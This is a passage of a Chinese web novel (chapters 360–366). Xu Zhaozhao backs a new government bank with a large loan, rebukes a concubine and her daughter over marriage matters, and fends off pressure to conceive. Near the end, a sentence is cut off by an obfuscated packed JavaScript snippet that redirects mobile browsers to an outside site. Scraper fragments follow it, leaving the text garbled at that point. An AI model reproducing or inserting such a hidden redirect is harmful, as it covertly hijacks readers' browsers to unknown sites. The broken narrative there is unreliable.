宋青刚过来,所以许昭昭只让她先熟悉一下,而筹备多时的质库,也终于可以开张了。 许昭昭出手比较大方,先是从江南挖了几位有经验的掌柜过来,又让人从蓝田县那边挑了几个伶俐的小郎们过来当跑堂。 长安县、万年县、蓝田县,三处同时开设了质库。 许昭昭手里头有银钱,自然不怕没有人过来曲当东西。 但这一行,还得要懂眼的人坐镇才能行。 但她目前能网罗到的,就只有这么几位,所以,只能是将三位行家留在了京城,还有一位则是安排到了蓝田县。 而且蓝田县的质库,就开设在了她自己建的那条街上。 自己家的铺面,没有房租开销,而且因为离着庄子近,所以底下人吃住都比较方便。 质库开张不足十日,朝中发出诏令。 以前的官办柜坊,正式更名为大兴银号,并且将存储得利以及贷银付利的种种都写明在了官府的告示上。 朝廷发出邸报,层层下达。 万年县的银号这边刚刚放完鞭炮,正式宣布银号开始营业之后,许昭昭安排的人就大张旗鼓地抬着几大箱子的铜钱过去了。 最终一过数,存钱一千贯! 这可是个开门儿红! 许昭昭绝对不会厚此薄彼,与此同时的长安县银号,许昭昭也让人抬去了一千贯钱。 这是她的一个态度,也是一个风向。 谁不知道安乐县主有钱? 谁不知道安乐县主手里头的状元酒、延年酒有多好? 有她这么一带头,这后面存钱的、试探着打听贷银的,也都络绎不绝。 安乐县主给开了个好头,此事顾东阳自然是十分满意。 虽然有些勋贵也都跟着一起往里面存钱来支持国策,但他们毕竟都是勋贵官员,而许昭昭不同。 她顶着县主的名号,但又的的确确在民间以及一些商户中拥有极高的声望。 所以,她的支持,自然是显得格外突出。 三日后,付沛带着顾东阳一起到护国公府来了。 虽然被谢啸林请去了书房,但没一会儿,谢铮和许昭昭都被请过来了。 “不瞒县主,虽说如今银号已经开始正常开设,但是明显是存入的多,支出的少。而且陛下也是个急性子,一直催着银号能早日做出些成绩来。但是正如先前县主所言,民间的私人柜坊将这一行的名声给败坏得不轻,所以,眼下我们需要大数目的往外贷才行呀。” 第361章 贷了一百万贯 许昭昭明白顾东阳的来意,倒也没有让他为难。 “这大兴银号,如今是由户部主管?” 顾东阳笑着点点头:“眼下只是试行,若是得当,后面会逐步推广。若是全大兴都有了大兴银号,那么势必要单独列出来的。” 这一点,其实很多人都想到了。 许昭昭见他没有糊弄自己的意思,说话也更直白了些。 “既然如此,如今顾尚书来寻我,应该也是为国分忧。我不让顾尚书为难,日后若是大兴银号缺了人手,可否先一步考虑谢、许两家所推举的人才呢?” 顾东阳没有第一时间答应,这种事,哪能随便就应下? 许昭昭补充道:“顾尚书放心,我们两家推举之人,一会保证人品,二会保证其有真才实学,至少账目上会弄得清楚明白,不让您为难。” 话说到这份儿上,顾东阳也不好再拒绝。 “也好。” “大兴银号往外贷银的利率可定下了?” “定下了。” 顾东阳连忙将目前银号的一些贷银额度和需要的相关资质都说了。 “需要有质押,还是只需要一个身份便能贷银?” “需要有质押。房产、铺面、田庄、珠宝等等,都可以。” “那好,既然顾尚书来了,那我明日便安排人去银号,只是,这数目上,多少合适?” 顾东阳真是感激得无以复加。 人家安乐县主这么配合,他真不知道应该说什么了。 “一百万贯以下,均可。” “好!” 送走顾东阳和付沛,许昭昭和谢铮也回了锦绣园。 “你手上有银钱,何故还要去贷银号的钱?” “我的确不缺钱,但那只是表象。自己花用,自然够了,但我若是想要做其它的,这银钱便有些不凑手。而且我如今也算是家大业大,一个月的开销可不少呢。当然,最主要的是,顾尚书都亲自来了,我岂能不给他这个面子?” 谢铮不说话了。 其实他有些不满。 若是无人贷银,那怎么不去找那些商户? 其实谢铮还真冤枉顾东阳了。 他不是没让人去找,只是这贷银的资质也是要审核的。 所以,目前为止,并没有什么大商户过来贷银,因为真正的大富之家,人家不缺银钱呀。 “昭昭,若是银号只能存入,不能贷出的话,那就要亏钱了,你说真要是做成这样,陛下是否会震怒?” 许昭昭笑了,谢铮还是不懂这里面的一些运作。 “银号放款取息和存款付息差价,这是必然的,也是银号赚钱的基本点,又或者说存借利息差,是银号最重要业务收益,但并非是唯一。” 谢铮皱眉:“还能有别的法子赚钱?” “比如说这银号如今虽然是归户部管辖,但他并非是国库,所以应该是独立的一个衙门。若是户部着急花钱,也可以从银号中贷出,衙门对衙门,那也得付利息。” 谢铮挑眉:“可说到底,还是贷银呀!” 许昭昭笑了,眼底对他的欣赏之色毫不掩饰。 她看中的男人,果然聪明。 “银号想要稳定的赚钱,就要牢记应该:薄利多收,安全放空。这就是内空外通。内空便是银号尽量放出所有收银;外通则是指银号尽力吸收外部存银。 原则上,银号贷出所有收银,外部存银源源不断进来,再贷出,如此形成良性循环,且避免银号劲头不足。所以,银号流水大,利润高,就是靠内空外通和精打细算。” 谢铮没插话,总觉得许昭昭要说的不仅于此。 “其实,做为银号,日后若能独立出来,便可以将银钱做为一种投资,从而投放到一些必需、或者是稳赚的项目上。” 谢铮听不懂了。 许昭昭叹口气,这后面的事,还早着呢。 还是先等大兴银号能全部都运行起来再说吧。 次日,顾东阳安排了付沛亲自候在长安县的大兴银号里,只等着安乐县主派人来。 来的还是位熟人,许柱子。 “给付大人请安,我家县主命我过来办理相关手续,这是地契,我们县主的意思是看银号能放多少的贷银,便放多少,贷期为一年。” “好,许管事请稍候。” 许柱子从这里出来之后,又去了一趟万年县的大兴银号。 不能有偏袒呀。 都得贷! 许柱子离开大兴银号后不足一个时辰,安乐县主手下的产业已经从大兴银号贷银一百万贯的消息便飞速流传开来。 这其中,自然是有顾东阳的手笔。 一百万贯呀! 快抵得上国库三分之一的年收入了。 只是这一下子,就把两所大兴银号的存银给吃空了。 当然,这些只是京城百姓们存入的银钱,而事实上,每天仍然有不少的富商往里存银呢。 许昭昭的那几句窍门精言,也终于传入了顾东阳的耳中。 他身为户部尚书,整日都是与银钱丝帛打交道,自然明白其中的一些关窍。 考虑到银号的安全,所以京市两县的银号都离县衙不远。 许昭昭手里多了这么多的银钱之后,就立马安排人远行了。 还得去买茶。 要说还得是这东西利润大! 而且现在江南、川蜀的茶叶的种类也不少,没必要死盯着一个南诏。 南诏那条商道,仍然是许昭昭和乐阳郡主合作的商队去跑,许柱子年轻能干,许昭昭在京中还用得到他,所以安排了一个他举荐的管事去川蜀了。 高大魁以前是去过江南的,应该也有经验,所以就让他去了,顺带着,让他还要再去一趟遂州。 许昭昭这边安排的井井有条,身边没有丁香帮她打理这些事了,但是因为提了海棠上来,所以现在芍药主要就是负责给她打下手。 很多事情,许昭昭不能也不需要亲自出面,这就需要一个对外的话事人。 以前是丁香,现在则换成了芍药。 “启禀主子,小宋姨娘和七小姐都在外面候着,说是过来给您请安的。” “就说我在忙,让她们回去吧。” “主子,奴婢说了,但她们执意要过来,奴婢瞧着,好像是有事要求您。” 许昭昭这才从繁琐的账目中抬起头来:“她们很着急?” 第362章 愚不可及 谢娟和小宋氏二人被请入偏厅小坐,至于许昭昭,还要等上一会儿才能过来。 谢娟和小宋氏两人都有几分紧张,面对老夫人时,感觉都没有这么大的压力。 许昭昭姗姗来迟,但是丝毫没有抱歉的意思。 “七妹妹今日来可是有何要事?” 谢娟连忙微微低头,上半身也微倾:“打扰嫂嫂了,因为六姐姐的婚事定下了,听闻今年就要成婚,所以我特意来请教三嫂,可有需要我效劳之处?” 许昭昭喝了一口茶,然后快速地瞟她一眼。 借着打听谢婵婚事,特意过来提醒她自己的婚事吧? “你是妹妹,没有什么需要你做的。不过按惯例,你们也是要添妆的,这部分你自己看着安排就好,不必来问我。” “是,三嫂。” 谢娟不知道接下来应该怎么说了,所以下意识就看向了自己的姨娘。 小宋氏笑得很假,一看就知道是在敷衍。 “禀世子夫人,妾的娘家侄儿就要成婚了,先前妾跟国公爷也提了一句,他允诺可以回去看看,所以妾过来是想着请您这里发个话,妾打算带着七姑娘同行,毕竟是她亲表哥,总得回去一趟,等成完亲,见过她表嫂便回来。” 许昭昭的脸色冷下来,茶盏重重地放在几上,茶盖都跟着清脆地响了两声。 小宋氏脸色微变:“世子夫人?” “宋姨娘,还需要我提醒你吗?” 小宋氏立马意识到了她的意思,一时间脸色煞白。 宋姨娘那三个字喊得极重,小宋氏就算是再不满,也不敢说什么。 倒是此举引得谢娟不悦。 “三嫂何必动怒?我姨娘的确只是父亲的妾室,我是庶女,这一点作不得假。姨娘只是想着带我回去一趟观礼,有何不妥?” 许昭昭没想到往日还算是聪明的谢娟,今日竟然会这般蠢笨。 “你竟然没有觉得不妥?谢娟,我还以为你聪明,如今看来,竟是愚不可及!” 谢娟又羞又怒,脸色涨红:“三嫂为何出口伤人?” “哼!蠢货!你六姐姐的婚事刚刚定下,如今京中谁不知道国公府正在为你的婚事打算?这个时候,你当安心待在府中等着长辈安排才是,可你竟然还想着去你姨娘的娘家观礼?你是生怕别人不知道你是庶女,还是觉得你去观礼,外人不会多想?且说你去了,你跟那些人当如何称呼,你又如何自处?” 小宋氏心里咯噔一下子,此时也明白了。 自己有心带着谢娟回去观礼,其实是为了变相地给女儿相亲。 可自己毕竟只是一个妾室,若是她的女儿跟着一起去观礼了,这于谢娟的身份上,便是一种贬低。 是她失策了! 谢娟只是一个未出阁的姑娘,而且先前几年也没人教过这个,所以她并没有意识到事情的严重性。 “三嫂何必如此伤人?我是庶女,我从未想过其它的。但是我连回去看望姨娘的亲人都不成吗?” “不成!” 许昭昭扔下这么一句话,即刻便命人去请林嬷嬷进来。 “谢娟,我只是你的嫂嫂,且我们相处时日短浅,你不知我性情如何,我可以理解。但是林嬷嬷的话,你也不打算听吗?” 谢娟一时语塞,只得求助一般地看向小宋氏。 但到了此时,小宋氏已是自顾不暇,哪里还有心思去帮女儿? 林嬷嬷已经从海棠口中得知了事情始末,看小宋氏的眼神里都透着几分鄙夷。 “宋姨娘,您的娘家侄儿要成婚,这是喜事,您伺候国公爷多年,国公爷也愿意给您这份儿体面,那您就当感激国公爷才是,何故还要来拉着我们七小姐跟着一起被人围观?” 林嬷嬷话落,转身看向谢娟:“七小姐,您是国公府的七小姐,无论嫡庶,您都只有一个外祖家,这一点,想必当年的教养嬷嬷也都是教过的吧?” 谢娟脸色一白,好像把这一茬给忘了。 “是,林嬷嬷,我都记着呢。” “既然您记着呢,那就好办了。您想跟着宋姨娘一起去观礼,也不是不行,但有一点您得记住了。这一趟去了,日后您的婚事可就别再有别的指望了。世子夫人不会为您做主,便是国公爷和老夫人那里只怕也说不上话了。” 谢娟一惊,蹭地一下子站起来:“何至于此?” “怎么不至于了?若是平时的一些私底下走动,自然无人说什么。可是那边办喜事,您这样到人前露脸儿,是代表了国公府,还是只代表您自己?宋姨娘只是一良妾,而且还是与主母同出一族,您觉得,您去合适吗?” 谢娟被问得哑口无言。 小宋氏也是宋家人,但因为是旁支,而且家境一般,所以他们家有喜事,就算是可以请得动主家的人,最大概率,也只是宋家派人送上一份贺礼而已。 再或者,若是宋家嫡系重视他们这一系,兴许会派个晚辈过来代表观礼,但也仅止于此了。 所以,谢娟若真去了,岂非是在打宋家嫡系的脸? 大兴极重嫡庶,只看朝中对于二皇子安王的支持便能看得出来。 哪怕安王不及忠王年长,不及忠王聪慧,也仍然是以立嫡的呼声居多。 这就是现实! 大家族中,更是将嫡庶看得重。 小宋氏可以回去一趟,因为都知道她是国公爷的妾室,这算是国公爷给的恩典,但是谢娟是绝对不能称呼小宋氏的父母为外祖或者是外祖母的。 只有主母的父母,才是谢家正经的岳家长辈。 所以谢娟真去观礼了,围着一大圈子的人,如何称呼? 这是要乱了规矩的。 你私底下来往,如何称呼都不会有人计较,谁会总盯着你? 可到了这等大事上,你谢娟对着小宋氏的亲娘叫一声外祖母,你且看宋家嫡系那边冷不冷脸? 这就是不懂事呀! 谢娟此刻好像也明白过来了,不由得心虚低头。 而小宋氏此时也是被怼得头都不敢抬,生怕这位林嬷嬷再说出什么难听话来。 许昭昭见差不多了,这才开口。 “谢娟,你若是觉得与那边的人亲近,可以备上一份贺礼由宋姨娘带过去,你自己还是安心在府里好好练习女红吧。” 第363章 慢慢摸索吧 许昭昭也是没有想到她们母女俩竟然是因为这件事来的。 将人打发走之后,许昭昭一个眼神,芍药便凑过来了。 “让人去小宋氏那里好好打听一下,这里头定然还有什么旁的事。” “是,主子。” “林嬷嬷!” “奴婢在。” “一会儿你去咱们的库房里选份贺礼,既然是国公爷允了小宋氏回去观礼,且如今我也知道了,咱们世子也得表示一下。你安排人,提前一日将贺礼送到。” “是,世子夫人。” 许昭昭愿意送份贺礼,当然不是看小宋氏的面子,而是看着宋家长辈的面子。 若是她没猜错的话,宋家那边也要表示一下的,既然如此,那便以世子的名义也送一份过去,但礼物也不能选得太贵重了,意思到了就成。 林嬷嬷明白了许昭昭的意思,所以只选了两匹丝帛,而且还是前年剩下的。 许昭昭得知后,连夸林嬷嬷会办事,是个聪明人。 宋青得知许昭昭对这件事的处置之后,只是微微一笑,这位少夫人还真是有意思。 宋家嫡系如今大部分都不在京城,宋家老太爷过世,所以谢铮的几位舅舅表兄都回去丁忧了。 当然,其实表兄们只需一年即可,但是宋家重孝道,这些表兄们就算是有人复职了,也都在离老家不远的地方,只为了能每月都回去给老爷子磕头上香。 宋家人此举,自然也极得陛下的肯定。 正是因为如此,所以直到现在,许昭昭也没正式地见过宋家人。 没有正式拜见过,不代表许昭昭不认识宋家人。 谢娟经此一事,对于这位亲嫂嫂那就更多了几分敬畏,明明没比自己大多少,但是这言行作风可太有威严了。 许昭昭哪知道自己不过是随口几句话,便将谢娟给吓着了。 后面一连几天,谢娟都没来锦绣园看账目,还是林嬷嬷特意去和七小姐说了几句话,这才使得她心思没那么重了。 大兴银号的开设,从一定程度上打击到了私人柜坊。 于此同时,朝廷加大了对于赌博的打击力度,而且明文规定,以赌博犯律者,无论何人,不得赎刑。 这一点,对于那些纨绔子弟而言,简直就是一把扼住了喉咙。 而且朝廷此次还下达了官吏禁赌的明文规定。 哪怕是流外的小吏,也同样不得参赌,否则,罢黜! 由此可见,朝廷对于禁赌的决心有多大。 私人柜坊最大的利益来处,便是通过赌博放贷。 如今朝廷的大兴银号有了更低的放贷利,正经的商户们自然会优先考虑官办的银号。 而朝廷大力禁赌,所以私人柜坊的利益来源受制,自然就出现薄利,甚至是亏损的现象。 据许昭昭所知,京城已经有十余家私人柜坊停办,先前在私人柜坊里换了飞钱的人也都争先恐后地换成了银钱丝帛,然后再存入大兴银号。 因为在私人柜坊是换飞钱,那个没有利息,甚至还要给柜坊些好处才行。 而大兴银号就不同了。 不仅不要好处,而且人家还给利钱,这好事儿,头一回见呀! 许昭昭名下的十余项产业,都分别在大兴银号开了户,其中蓝田县就开了两个户。 全都是公对公的业务。 这还是顾东阳把户部官员们叫到一处集思广益得来的结果。 商铺可以直接以商铺的名义存入银号,而且因为是商铺存入的,所以取钱时,便需要两枚印信集齐,方可取银。 这样更安全,也能防止一些仆从私吞东家的钱财。 许昭昭是率先命人去开设这种账户的。 也因此,京中不少人开始效仿。 比如说百果园,现在的庄头是徐得贵,百果园是在官府备案过的,所以,百果园在大兴银号开设账户后,无论是存入还是支出,都需要徐得贵的私人印鉴,再加上一个百果园的印鉴,才能办成。 至于这百果园的印鉴,如今就在许川的身上。 许昭昭给百果园那里下了命令,一个月存银两、三次,不必太勤,而且时间上不固定。 若是有人来采买酒水,在大兴银号开设帐户者优先,这样便可以直接划账,省了清点银钱的时间。 许昭昭这样一番操作,连带着推动了大兴银号的受欢迎程度。 而且次数多了,很多商户们也都见识到了大兴银号的方便之处。 试想,你想要进一批货,但是还要带着几箱子的铜钱来回奔波,实在是麻烦,还要带着几个下人,还要防止被抢。 但如果你身上只需要带着大兴银号给开出来的飞钱,这不是就方便多了? 听说有些人可以直接在大兴银号那里设立自己的账户,无论是存取都更为方便。 当然,听闻这种事,是只有几个大的客户才能享有的待遇。 总而言之,现在的大兴银号很不错,但是还不够成熟,还需要在实践中再慢慢改进。 许昭昭算是第一个支持大兴银号的人,所以,无论是户部还是陛下那里,都会给许昭昭记上一功。 许昭昭贷出来的一百万钱,如今都投到了蓝田县。 当初陛下将此地划给她,不就是有着想让她带一带的意思? 正好,发现了玉矿,这一百万钱,还要筹办一些开矿的人力和工具等等,不愁花不完呀。 其实许川也不明白,明明县主手上有钱,为何还要去贷大兴银号的? 而且你贷就贷吧,怎么还一下子就贷了一百万贯呢? 许川带着两位帐房先生以及两箱子账本过来了。 核对无误之后,许川才将心中疑惑问出。 “这一百万贯,不是小数目,我支持大兴银号,就是支持顾尚书,支持朝廷。日后我许、谢两家有什么事情也能更好办一些。况且,人人都以为我有的是钱,但我实际上存入大兴银号的银钱却并没有那么多。我总得让人相信,我其实也并非是真地有一座金山呀。” 许昭昭向大兴银号借贷,其实就是在变相地告诉一些人,她的产业大而广,但是实际上手上的流动银钱没有那么多。 这也算是为了降低某些人的防备心。 当然,最主要的是,为了表明自己忠于陛下,忠于朝廷的态度! 第364章 催生虽迟但到 许昭昭原本是把蓝田县那边的一些工程进度分成了几期的,一是因为银钱不凑手,她总得给自己留些保底的流动资金,二来也是因为不想把进度推得太快,免得再让人察觉到她的财力。 可是现在不一样了。 京中勋贵都知道她在大兴银号贷了一百万贯,那就干脆直接投入进去。 云栖镇早日建成,那她的成本也能早日收回来。 因为离着云栖山庄近,所以这里被蓝田县直接批了名字,就叫云栖镇。 这里大部分地方以前都是荒地,其中有一部分被陛下赐给了安乐县主,后来又收纳了部分流民,所以人气才渐渐地起来了。 被赐给安乐县主的,大部分都是良田。 而许昭昭自己又花钱买下了大片的荒地,现在的云栖镇,已经初见成效。 许昭昭原本的计划,就是利用三到五年的时间,将这里打造成一个繁华的镇子,最起码要商业繁华,毕竟这里挨着官道,这里也算是一些胡商们的必经之路,所以想要建起来,并不难。 现在她手上多了一百万贯,自然就命人加快了进度。 现在严树基本上就是住在工地这边了,天天忙不完的事,至于云栖山庄那里,则是主要由李生和长生两人在负责。 云栖山庄现在落成,但是因为主子不在,所以这里的一些生活气息很少,主家需要的相应物品也不多。 这里主要就是几百户人聚集住在一起的村落,还算是有些烟火气。 这几百户人,都是许昭昭的食邑。 青壮年要么就是从事农活,要么就是跟着李生一起巡逻,而女子则大部分入了织坊谋生。 总而言之,这里的人虽不敢说吃得多好,但是至少一日两餐是能吃饱的。 许昭昭现在是一日三餐,但她知道,大部分的百姓都是一日两食。 除非是到了收获的季节,农活太重,否则不会一日三餐的。 而且许昭昭去那些农家看过,他们一般晚上吃的就是杂粮粥,各种的糙粮、豆子、野菜等等混合煮在一起,再加一些盐巴,便是一顿晚饭。 如果是需要下地做农活时,那么早上这一餐,会有一些干粮,但也不会多。 总而言之,这些农户就是处于一种吃不太饱,但是也饿不死的状态之中。 这还是许昭昭特意照顾的人家才能有这样的日子,最起码他们能住在干净保暖的屋舍里。 而实际上很多的农人住的屋舍都没有办法达到保暖的效果。 下雨漏雨是常态,冬季雪大压塌屋子也是常有之事。 许昭昭正是因为接触了几次真正的农人之后,才真切地意识到,这个时代的普通老百姓是有多么不容易。 不是许昭昭圣母,而是她没有办法做到真地对这些百姓的穷困苦难无动于衷。 但她只是一个女人,所以能做的事,少之又少。 她现在只想着,管好自己庇护内的百姓便足够了。 其它的人,她管不了,也没有那么大的能力。 她的封地在蓝田县,既然如此,那就想办法助蓝田县的百姓们一臂之力,但是到底能做成何种地步,她也不敢打包票。 因为许昭昭下令云栖镇的建设要加快进度,所以底下不少人都跟着忙碌起来。 而许昭昭也被王若兰的到来给弄了个措手不及。 不是对于亲娘的到来排斥,而是对于王若兰说的话,有几分排斥。 “昭昭呀,你成亲的日子也不短了,就一直没有好消息?” 许昭昭只觉得头皮发麻,她好像真的把怀孕生子这回事给忘了。 许昭昭自己就是植物系异能者,而且能力强大,不仅仅只是催生植物那么简单,她最大的能力,便是吸收和利用所有植物的药性、特性。 所以,许昭昭在不知不觉间,便将自己这身体给打造成了暂时不受孕的特质。 当然,如果她想,自然是可以改变的。 可她只觉得自己现在才十八呀! 十八岁,要是搁在上辈子,她还是个学生呢! 这么小就要生孩子了? 许昭昭有点儿招架不住。 可是面对亲娘的种种关切之语,她也实在是没有办法怼回去。 这个时代,若是女子不能生养,便是大错呀! “母亲,不是我不想那个,其实是因为我早先请了孙神仙帮着给三郎配了些药。孙神仙说过,等三郎停药后,最好过一两个月再要孩子才合适。” 王若兰懵了。 所以不是女儿不能怀孕,是因为要照顾到女婿的身子? “不是,你等等。给三郎配了什么药?” “三郎以前在战场上受过几次伤,孙神仙说若是不能好好调养,日后是要遭罪的。母亲,父亲和二哥不也都受过伤?” 这方面,王若兰倒是明白。 而且之前许昭昭还请孙神仙给许翰和许君锋都配过药。 “不对呀!你二嫂不是都快生了吗?怎么三郎这里还得再等等?” 许昭昭脑子转的飞快,这临时想出来的借口,总得想法子圆过去。 “这身体跟身体自然也不同,而且受伤程度也不一样呀。况且二哥才在冀州待了几天,三郎可是在那里待了好几年呢!” 王若兰一想也是,这个理由还是很充分的。 总算是唬弄过去了。 许昭昭松口气的同时,不由得又开始琢磨着,到底什么时候要孩子才合适呢? 其实许昭昭这说辞,是半点经不起推敲的。 因为许昭昭自成婚后,便不曾用过任何的避子汤,所以,她是怎么阻止自己怀孕的? 但是王若兰显然没有想到这一点,仍然对女儿的话深信不疑。 许昭昭把母亲劝走之后,自然想到这件事应该是母亲真地放在心上,所以才会特意来走这一遭。 这是自己的亲娘,所以说话才会更向着自己一些。 但是老夫人和谢家其它长辈呢? 所以,如果自己一直不能怀孕,就得想办法堵住谢家人的嘴。 但总不能自己主动提及此事吧? 不过,母亲今日过来一趟,倒是一个由头,自己可以先去于氏那里提上一句,也省得长辈们私底下再多心。 第365章 喜事连连 许昭昭的猜测没错。 老夫人和于氏其实也的确是一直在关注着许昭昭的肚子。 可是成亲也有半年了,一直没有好消息传来,她们自然是有几分急切。 主要是谢铮可是国公爷这一脉的独子呀! 若是不能传承血脉,老夫人定然是要想办法为谢铮延续香火的。 老夫人和于氏就算是再喜欢许昭昭,也不可能把她放在谢家血脉之上。 许昭昭带了一些补品过来请安,于氏还有几分疑惑呢。 “这是?” 许昭昭红着脸道:“不瞒二婶婶,我母亲今日来看望我,特意挑了些给女子补气血的东西,但我实在是用不着,这等好东西也不好一直搁在库房里吃灰,所以便想着给二婶婶送些来,哦,四婶婶那里我也命人送过去一份了。” 于氏闻言,自然便明白了王若兰的来意。 她再一看许昭昭这个反应,联想到了这些补品,难不成是另有内情? 于氏将下人都打发出去,然后示意许昭昭坐到她身边儿来。 “跟婶婶说说,可是有好消息了?” 有些补品,女子有孕后是不能食用的,再加上许昭昭这羞怯的表情,所以于氏才会有此一问。 许昭昭摇头,将自己先前的那番说辞又重复了一遍。 “你说三郎的身子现在不宜生子?” 于氏话落,又觉得怎么这么怪呢,是自己没的说法有问题? “二婶婶,这女子有孕,不就是那么回事嘛。三郎如今在用着药,是为了保他日后能不受罪,也是为了能保他的寿数。孙神仙说,无论男女,既然是用着药,最好都先避开子嗣一事。三郎的药也快吃完了,所以我想着等过些日子再寻孙神仙给他把个脉,若是无恙了,我们都身体康健,才好为谢家延续香火。” 说到最后面,许昭昭那脸色都红得不像样了。 于氏听明白了。 像他们这样的人家,自然也知道许多民间百姓不懂的事。 比如说,这女子十三四岁若是生子,会于身体有碍,所以他们一般都会让女儿在十五岁以后再嫁人。 再比如说,无论男女,这药性自然是在身体里有所残存,想要完全地清除掉,是需要一些时间的。 还有一些大户人家的阴私就更为骇人。 有的嫡母为了害庶子,会让人给奶娘喂食毒物,最后通过所化的奶水进入庶子体内,从而令其早夭。 这些手段,于氏也是知道的。 既然毒物能通过奶娘的乳汁令幼子早夭,那么,男子身体内的药性,又为何不能通过房事从而转移给下一代? 这么一想吧,好像就合理了。 “原来如此。前些日子老夫人还想着请太医来为你和三郎请个平安脉呢,没想到竟是如此。” “劳祖母和二婶婶费心了。我和三郎的身体都没问题,之前孙神仙是诊过脉的。只是涉及子嗣,所以我和三郎才会更小心一些。” “你有这想法是对的,况且又是孙神仙亲自嘱咐的,听他的定然没错。” “此事还请二婶婶跟祖母禀报一声吧,若非是今日母亲过来提及此事,我都没想到诸位长辈们还在为了我和三郎操心。倒是我们的不是了!” “这是哪里话!长辈们关心你们是应该的,都是自家人。也罢,回头我去禀明老夫人一声,也省得她再为你们担忧了。” “多谢二婶婶。” 许昭昭这样的说法,于氏觉得没毛病。 毕竟许昭昭是新妇,又未曾怀孕生产过,于这种事情上,其实是有些抹不开面儿的。 所以,她这个做长辈的去老夫人那里通禀一声,倒是很正常。 果然,老夫人得知此事之后,也只觉得先前是白担心了。 “母亲,我瞧着昭昭这孩子行事稳当,是个有成算的。听她的意思,三郎应该近期就能停药,到时候再请人过来诊诊脉,一切便都水到渠成了。” 老夫人少了一桩心事,心情也轻松不少。 虽说她不缺孙子了,但是老大这里就谢铮一根独苗,只有他也有了后,老夫人才能真地放心呀。 之后的好消息一个接着一个。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470751|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嵘的妻子张盼儿再次传出有孕,而谢四郎的婚事也有了着落,所以说整个国公府上下都喜气洋洋的。 张盼儿嫁入国公府几年,如今只得一女,心中自然是有几分急切的。 在她看来,当家主母若是没有嫡子傍身,这地位便不稳固。 瞧瞧老夫人,再瞧瞧她自己的婆母,若非是因为生养了几个儿子,岂能过得这般逍遥自在? 张盼儿想要儿子,倒也不是那么地急切,毕竟她女儿也还不大,如今距离上回生孩子也有两年了,正好再怀上一胎,年底或者是明年初,差不多就能出生了。 张盼儿因为怀孕了,再加上谢嵘现在并没有嫡子,所以于氏就暂且让她好好休养,不再让她帮忙管家,反倒是把这部分权利转到了二儿媳刘玉霜。 要说这刘玉霜,其实一直不怎么待见许昭昭。 这起因,其实就是因为她的弟弟刘勃。 刘勃早几年的时候一直对姜宁情有独钟,但刘家一直觉得姜宁是姜太傅的嫡孙女,定然不会愿意让她下嫁的,所以一直不曾点头,直到后来出事。 自孙茜毁容那一次之后,姜宁的名声也跟着受损,再之后这几年,姜宁无论是在民间还是在勋贵之中的名声就没好过。 尤其是姜宁现在还只是忠王的一个孺人。 刘玉霜受弟弟刘勃的影响,自然也会对许昭昭生出几分偏见。 另一方面,刘玉霜又有几分自卑。 刘家虽是官宦之家,但并非权贵显赫。 刘玉霜能嫁入护国公府,除了因为谢琅非嫡长之外,还有一个原因,其实就是刘玉霜的私心算计。 细数谢家这几位新妇,刘玉霜的出身算是最低的。 也因此,她在护国公府一直没有什么存在感,不是大家故意忽视她,而是她自己担心行差言错,所以一直很低调,能不说话的时候,就一定不开口。 现在于氏将部分掌家权递到刘玉霜手里了,她还有些难以接受呢。 长久的自卑,直接就导致了刘玉霜遇事后的极度惶恐。 她生怕自己会犯错呀! 第366章 立什么深情人设! 对于这个刘玉霜,许昭昭也早就对她有所了解,知道是一个提不起事儿来的性子,所以压根儿就没放在眼里。 不过刘玉霜私底下和谢娟倒是接触得比较多,而且还和小宋氏有过几次交集。 对此,许昭昭还是很在意的。 许昭昭不是那种喜欢多管闲事的人,但如果是闹到她跟前了,她也不会放任别人胡乱蹦跶! 小宋氏又来了。 为了谢娟的婚事。 这一次,小宋氏是想着将谢娟许配给刘勃。 这一消息,可是把许昭昭给惊到了。 刘勃之父刘安庆是谏议大夫,正五品,刘勃的祖父是前任吏部尚书刘锦鹏。而刘勃本人一直都是姜宁的爱慕者,直至姜宁出嫁之后,刘勃还有一段日子极少出门,据说是因情伤所困。 谢娟嫁刘勃,其实算是高嫁,因为刘勃是嫡子,只这一项,就高出谢娟一大截。 许昭昭听完之后,嘴角微微抽搐。 “宋姨娘,你的意思是,刘家有意,所以你想应下这门婚事?” “是,不瞒世子夫人,七小姐年纪小,很多事情都不懂,我是她的生母,总得为她的后半辈子多做打算。刘家的家世好,而且听闻这位刘勃公子也是玉树临风,听说如今也收了心,在外游学一年归来,人也愈发稳重了。” 许昭昭险些笑出声来。 你也知道刘勃样样好,既然如此,人家什么样的名门贵女娶不到,偏要娶一个护国公府的庶女? 这嫡庶之别,历来被高门看重。 哪怕谢娟是谢啸林的亲生女儿,但一个庶出,便能压过她身上所有的优点。 “此事怕是不成,姨娘还是回去吧。” 小宋氏面色一怔,似乎是没料到许昭昭会反对。 “世子夫人,这亲事为何不成?既然刘家有意求娶,我们七小姐无论是长相还是仪态也都不差,何故要将刘家推拒?” “你要教我做事?” 许昭昭冷冰冰的话一出,小宋氏不由得打个激灵,之后再不敢多言,连忙退下。 刘勃对姜宁情根深种,就算是明知道姜宁已嫁作他人妇,也不可能轻易收心。 许昭昭记得原著中,那位刘勃可没少为姜宁鞍前马后呢。 所以,这种男人,女人真嫁过去了,那就是一辈子的悲剧。 他的心不在你身上,而且他做事也就绝对不会优先考虑你的利益和感受。 这种男人,既然要立什么深情人设,那就该立全些,最好是一辈子不娶才显得他情深无比! 许昭昭是真怒了。 她自问从未得罪过刘勃,也一直尽力避开刘家了,这刘勃为何还要再主动送上门来? 是他自己的意思,还是姜宁的暗示? 不行,她得把这个弄清楚了! 许昭昭命人将许柱子找来,这种事,他去做最合适。 两天后,许柱子带消息回来了。 “小的没找到姜孺人与刘勃直接联系的证据,但是据小的查访,这半月来,姜孺人身边的那个大丫环曾先后两次与刘家的一位侍婢接触。那位侍婢便是刘勃院中伺候的。” 许昭昭点头,柱子做事越来越严谨了,没有直接联系,但是通过下人还是互通有无了。 